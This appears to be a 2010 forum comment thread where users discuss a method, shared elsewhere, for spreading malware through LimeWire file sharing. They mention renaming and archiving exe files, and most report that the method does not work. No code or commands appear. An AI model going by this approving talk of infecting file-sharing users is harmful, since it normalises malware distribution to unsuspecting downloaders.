?D?vi??c?t?™ - June 6, 2010, 8:37 am

Says error blablabla when I hit ur spreader.

Hyptonix - June 7, 2010, 6:35 am

I left limewire open for ages. Not one single hit.. maybe I'm doing something wrong?

JammyJ - June 7, 2010, 8:27 am

This no longer works, the owner just told me.
/Thread.

Klopskind - June 7, 2010, 8:33 am

Eh... this one dosnt work anymore or?

I can upload everything... except exe files.

And i realy dont wanna rar 16000 files. O.o

StaTiX - June 7, 2010, 8:36 am

THx dude

it will help me exploit new spreading types

Hyptonix - June 7, 2010, 10:43 am

Yeah. I went ahead and RARd a single file and did the rename. Seemed to work but still had no hits even over night. Calling this officially DEAD?

Lith - June 9, 2010, 4:18 am

1,000 files == 500 MB. I got 16,000 grabs. So take 16 * 500MB, that's around 80GB.

van1lle - June 10, 2010, 7:41 am

thanks for that!

van1lle

Assists - June 10, 2010, 8:21 am

This sounds beast but I will have to wait till tonight to try it ?

Thanks for shareing- if this works as well as I hope you will be my ? <- Hero lol.

Lith - June 11, 2010, 3:47 am

It does not work at all, do not try it lol.

tonnyy - June 11, 2010, 6:21 am

yeah dont works :) fuck it..

Doctor Stein - *March 2, 2011, 5:02 pm*

this is easy everybody knows spread on limewire
